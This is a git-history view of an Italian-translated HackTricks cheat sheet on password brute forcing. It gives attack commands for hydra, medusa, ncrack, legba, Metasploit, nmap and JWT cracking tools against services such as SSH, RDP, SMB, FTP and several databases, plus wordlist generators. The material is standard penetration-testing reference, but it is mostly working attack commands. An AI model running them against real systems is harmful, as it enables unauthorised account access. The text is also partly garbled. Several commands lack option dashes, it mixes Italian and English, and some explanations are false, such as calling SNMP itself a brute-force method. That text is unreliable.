hacktricks/generic-methodologies-and-resources/brute-force.md

960 lines
51 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# Brute Force - CheatSheet
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 10:12:47 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:03:23 +00:00
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## Credenziali predefinite
**Cerca su Google** le credenziali predefinite della tecnologia in uso, o **prova questi link**:
2021-05-31 09:39:02 +00:00
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
2021-11-24 15:00:38 +00:00
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
2022-04-05 22:24:52 +00:00
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Crea i tuoi Dizionari**
Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che potrebbero aiutare:
2022-05-01 13:25:53 +00:00
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
2022-05-01 13:25:53 +00:00
### Cewl
Cewl è uno strumento che viene utilizzato per generare elenchi di parole da un sito web. Questo strumento può essere utile durante un attacco di forza bruta per creare una lista di possibili password basate sul contenuto del sito web target.
```bash
cewl example.com -m 5 -w words.txt
```
2022-05-01 13:25:53 +00:00
### [CUPP](https://github.com/Mebus/cupp)
2020-11-03 11:04:12 +00:00
2024-02-10 13:03:23 +00:00
Genera password basate sulla tua conoscenza della vittima (nomi, date...)
2021-11-24 15:00:38 +00:00
```
2020-11-03 11:04:12 +00:00
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Uno strumento generatore di liste di parole, che ti consente di fornire un insieme di parole, offrendoti la possibilità di creare molteplici variazioni dalle parole fornite, creando una lista di parole unica e ideale da utilizzare per un determinato obiettivo.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
2024-02-10 13:03:23 +00:00
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
2022-05-01 13:25:53 +00:00
### [pydictor](https://github.com/LandGrey/pydictor)
2024-02-10 13:03:23 +00:00
### Liste di parole
2021-05-31 09:39:02 +00:00
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
2021-05-31 09:39:02 +00:00
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2024-02-10 13:03:23 +00:00
## Servizi
2024-02-10 13:03:23 +00:00
Ordinati in ordine alfabetico per nome del servizio.
2022-05-01 13:25:53 +00:00
### AFP
```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```
2022-05-01 13:25:53 +00:00
### AJP
Il protocollo AJP (Apache JServ Protocol) è un protocollo di comunicazione che viene utilizzato tipicamente tra un server web e un server di applicazioni. È possibile eseguire attacchi di forza bruta contro i parametri AJP per tentare di ottenere accesso non autorizzato al server di applicazioni.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
2022-05-01 13:25:53 +00:00
### Cassandra
Cassandra è un database distribuito altamente scalabile che può essere soggetto a attacchi di forza bruta.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
2022-05-01 13:25:53 +00:00
### CouchDB
CouchDB è un database NoSQL che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso. Per proteggere un'installazione di CouchDB da tali attacchi, è consigliabile implementare misure di sicurezza come l'uso di password robuste, la limitazione dei tentativi di accesso e l'implementazione di un firewall per filtrare il traffico indesiderato.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Registro Docker
2021-11-24 15:00:38 +00:00
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
2020-07-17 23:59:16 +00:00
```
2022-05-01 13:25:53 +00:00
### Elasticsearch
2020-07-17 23:59:16 +00:00
2024-02-10 13:03:23 +00:00
#### Brute Force
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method can be used to crack weak passwords or gain unauthorized access to a system. In the case of Elasticsearch, brute force attacks can be attempted to guess the credentials of the Elasticsearch service and gain access to sensitive data. It is important to use strong, complex passwords and implement security measures to prevent brute force attacks.
2021-11-24 15:00:38 +00:00
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
2022-05-01 13:25:53 +00:00
### FTP
Il metodo di attacco brute-force è comunemente utilizzato per violare le credenziali di accesso FTP. Gli attaccanti utilizzano software automatizzati per generare una grande quantità di tentativi di accesso con password diverse fino a quando non riescono ad ottenere l'accesso al server FTP.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
2024-02-10 13:03:23 +00:00
### Brute Force Generico HTTP
2022-05-01 13:25:53 +00:00
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### Autenticazione di Base HTTP
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
2022-09-12 15:29:22 +00:00
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
### HTTP - NTLM
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Invio modulo
2024-02-10 13:03:23 +00:00
In un attacco di forza bruta contro un modulo di invio HTTP POST, un attaccante invia una grande quantità di richieste POST al server web al fine di indovinare le credenziali di accesso o di ottenere l'accesso non autorizzato.
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
2022-09-12 15:29:22 +00:00
# Use https-post-form mode for https
```
2024-02-10 13:03:23 +00:00
Per http**s** devi cambiare da "http-post-form" a "**https-post-form"**
2024-02-10 13:03:23 +00:00
### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
2022-05-01 13:25:53 +00:00
### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker brute forces an IMAP server, they attempt to gain unauthorized access by trying different combinations of usernames and passwords until the correct one is found. This is a common technique used to compromise email accounts.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
2024-02-10 13:03:23 +00:00
#### Brute Force
2024-02-10 13:03:23 +00:00
Brute force attacks are a common way to gain unauthorized access to IRC channels. Attackers use automated tools to try a large number of username and password combinations until they find the correct one. This method is effective against weak passwords but can be time-consuming for longer and more complex passwords. It is important to use strong and unique passwords to protect your IRC channels from brute force attacks.
2024-02-10 13:03:23 +00:00
#### Prevention
2024-02-10 13:03:23 +00:00
To prevent brute force attacks on your IRC channels, you can implement the following measures:
2024-02-10 13:03:23 +00:00
1. **Strong Passwords**: Encourage users to use strong and unique passwords that are not easily guessable.
2. **Account Lockout**: Implement account lockout mechanisms that lock an account after a certain number of failed login attempts.
3. **Rate Limiting**: Implement rate limiting to restrict the number of login attempts from a single IP address within a specific time frame.
4. **Multi-factor Authentication**: Enable multi-factor authentication to add an extra layer of security to user accounts.
5. **Regular Audits**: Regularly audit your IRC channels for any unauthorized access or suspicious activities.
2024-02-10 13:03:23 +00:00
By implementing these preventive measures, you can significantly reduce the risk of brute force attacks on your IRC channels.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
2024-02-10 13:03:23 +00:00
```
### ISCSI
2024-02-10 13:03:23 +00:00
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
2024-02-10 13:03:23 +00:00
```
### JWT
2024-02-10 13:03:23 +00:00
JSON Web Token
2021-03-08 16:25:26 +00:00
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
2022-05-01 13:25:53 +00:00
### LDAP
LDAP (Lightweight Directory Access Protocol) è un protocollo standard utilizzato per accedere e mantenere servizi di directory su una rete IP. LDAP è spesso soggetto a attacchi di forza bruta per ottenere accesso non autorizzato alle informazioni di autenticazione memorizzate nel server LDAP.
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
2022-05-01 13:25:53 +00:00
### MQTT
2022-02-19 19:42:58 +00:00
#### Brute Force
2024-02-10 13:03:23 +00:00
Brute force attacks against MQTT servers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved using automated tools that can rapidly iterate through different combinations until the correct one is found.
2024-02-10 13:03:23 +00:00
#### Mitigation
2024-02-10 13:03:23 +00:00
To protect against brute force attacks on MQTT servers, it is recommended to implement strong password policies, such as using complex and unique passwords for each user. Additionally, enabling account lockout mechanisms after a certain number of failed login attempts can help prevent unauthorized access.
2022-02-19 19:42:58 +00:00
```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
2024-02-10 13:03:23 +00:00
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
2022-02-19 19:42:58 +00:00
```
2022-05-01 13:25:53 +00:00
### Mongo
Brute force attacks against MongoDB databases are common due to the default configuration allowing unauthenticated access. Attackers can use tools like **Hydra** or **Metasploit** to perform brute force attacks against MongoDB databases. It is important to always secure your MongoDB instances with strong authentication mechanisms to prevent unauthorized access.
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
2024-02-10 13:03:23 +00:00
#### Brute Force
Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found.
2024-02-10 13:03:23 +00:00
To perform a brute force attack against an MSSQL server, you need to specify the target server's IP address, the port MSSQL is running on (usually 1433), a list of usernames, and a list of passwords. The tool will then try all possible combinations until it gains access to the server.
2024-02-10 13:03:23 +00:00
It is important to note that brute force attacks can be time-consuming and resource-intensive. Additionally, they can easily be detected by intrusion detection systems (IDS) or firewalls if too many login attempts are made in a short period of time.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
2022-05-01 13:25:53 +00:00
### MySQL
#### Brute Force
2024-02-10 13:03:23 +00:00
Brute force attacks against MySQL databases involve attempting to guess the username and password combinations to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations until the correct one is found. It is important to use strong and unique credentials to protect against brute force attacks.
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
2024-02-10 13:03:23 +00:00
#### Brute Force
2024-02-10 13:03:23 +00:00
Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable.
2024-02-10 13:03:23 +00:00
To protect against brute force attacks, it is essential to use strong, complex passwords and implement account lockout policies that lock out users after a certain number of failed login attempts. Additionally, monitoring login attempts and setting up alerts for multiple failed attempts can help detect and prevent brute force attacks.
2024-02-10 13:03:23 +00:00
#### Dictionary Attacks
2024-02-10 13:03:23 +00:00
Dictionary attacks are similar to brute force attacks but instead of trying all possible combinations, attackers use a predefined list of commonly used passwords. This method is more efficient than brute force attacks as it targets the most commonly used passwords first. To defend against dictionary attacks, it is crucial to avoid using easily guessable passwords and regularly update passwords to prevent unauthorized access.
2024-02-10 13:03:23 +00:00
#### Conclusion
2024-02-10 13:03:23 +00:00
Brute force and dictionary attacks are common techniques used by attackers to compromise OracleSQL databases. By implementing strong password policies, account lockout mechanisms, and monitoring login attempts, organizations can enhance the security of their databases and protect against unauthorized access.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
2022-09-12 15:29:22 +00:00
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
2024-02-10 13:03:23 +00:00
Per utilizzare **oracle\_login** con **patator** è necessario **installare**:
```bash
pip3 install cx_Oracle --upgrade
```
[Forza bruta hash OracleSQL offline](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versioni 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**):
```bash
2024-02-10 13:03:23 +00:00
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
Il metodo brute-force è uno dei modi più comuni per ottenere l'accesso non autorizzato a un account. Consiste nel provare tutte le possibili combinazioni di password finché non si trova quella corretta. Questo metodo può essere efficace, ma può richiedere molto tempo a seconda della complessità della password. È importante utilizzare strumenti e tecniche appropriate per massimizzare l'efficienza di un attacco brute-force.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
2022-05-01 13:25:53 +00:00
### PostgreSQL
PostgreSQL è noto per essere resistente agli attacchi di forza bruta grazie alla sua gestione intelligente delle connessioni e delle richieste. Tuttavia, è sempre consigliabile implementare misure aggiuntive di sicurezza per proteggere il database da potenziali attacchi.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
ncrack v U /root/Desktop/user.txt P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```
2022-05-01 13:25:53 +00:00
### PPTP
Puoi scaricare il pacchetto `.deb` da installare da [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
2022-05-01 13:25:53 +00:00
### RDP
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
2022-05-01 13:25:53 +00:00
### Redis
Redis è un popolare database in memoria open source che può essere soggetto a attacchi di forza bruta. Gli attaccanti possono tentare di indovinare le credenziali di accesso utilizzando tecniche di forza bruta per accedere al database Redis e compromettere i dati sensibili. È importante implementare misure di sicurezza robuste, come l'uso di password complesse e la limitazione degli indirizzi IP autorizzati, per proteggere i database Redis da tali attacchi.
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
2021-08-27 00:14:28 +00:00
hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
2022-05-01 13:25:53 +00:00
### Rexec
Rexec è un protocollo di rete che consente a un utente di eseguire comandi su un sistema remoto. Può essere soggetto a attacchi di forza bruta per indovinare le credenziali di accesso.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
2022-05-01 13:25:53 +00:00
### Rlogin
Rlogin è un protocollo di rete che consente a un utente di accedere a un computer remoto tramite una connessione di rete. Questo protocollo è vulnerabile agli attacchi di forza bruta, in cui un hacker tenta di indovinare la password dell'account utente provando una serie di password diverse fino a trovare quella corretta.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
2022-05-01 13:25:53 +00:00
### Rsh
Rsh (Remote Shell) is a simple remote shell client included in Unix operating systems. It can be used to execute commands on a remote system. Attackers can use brute force attacks to guess passwords and gain unauthorized access to remote systems via Rsh.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
2022-05-01 13:25:53 +00:00
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
2022-05-01 13:25:53 +00:00
### RTSP
Il Real Time Streaming Protocol (RTSP) è un protocollo di rete utilizzato per il controllo della trasmissione di dati multimediali in tempo reale.
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
2022-05-01 13:25:53 +00:00
### SNMP
Il Simple Network Management Protocol (SNMP) è un protocollo standard utilizzato per monitorare e gestire dispositivi di rete come router, switch, server e stampanti. SNMP utilizza un approccio di "brute force" per tentare di indovinare le credenziali di accesso ai dispositivi di rete.
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
2022-05-01 13:25:53 +00:00
### SMB
SMB (Server Message Block) è un protocollo di rete utilizzato per condividere file, stampanti e altre risorse di rete in un ambiente Windows. È possibile eseguire attacchi di forza bruta contro i servizi SMB per tentare di indovinare le credenziali di accesso e ottenere l'accesso non autorizzato alle risorse condivise.
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
2022-05-01 13:25:53 +00:00
### SMTP
Il Simple Mail Transfer Protocol (SMTP) è un protocollo standard utilizzato per inviare e ricevere email su una rete.
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```
2022-05-01 13:25:53 +00:00
### SOCKS
### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
### SQL Server
2024-02-10 13:03:23 +00:00
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. In the case of SQL Server, a brute force attack can be attempted by using automated tools that systematically generate and test different combinations of login credentials. This type of attack can be mitigated by implementing strong password policies, account lockout mechanisms, and monitoring for multiple failed login attempts.
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
SSH (Secure Shell) è un protocollo crittografico che permette di stabilire connessioni sicure su reti non sicure utilizzando un client-server architettura.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
2024-02-10 13:03:23 +00:00
#### Chiavi SSH deboli / PRNG prevedibile di Debian
Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Ciò può risultare in uno spazio delle chiavi drasticamente ridotto che può essere forzato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Set pre-generati di chiavi deboli sono disponibili anche come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
2024-02-10 13:03:23 +00:00
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
2024-02-10 13:03:23 +00:00
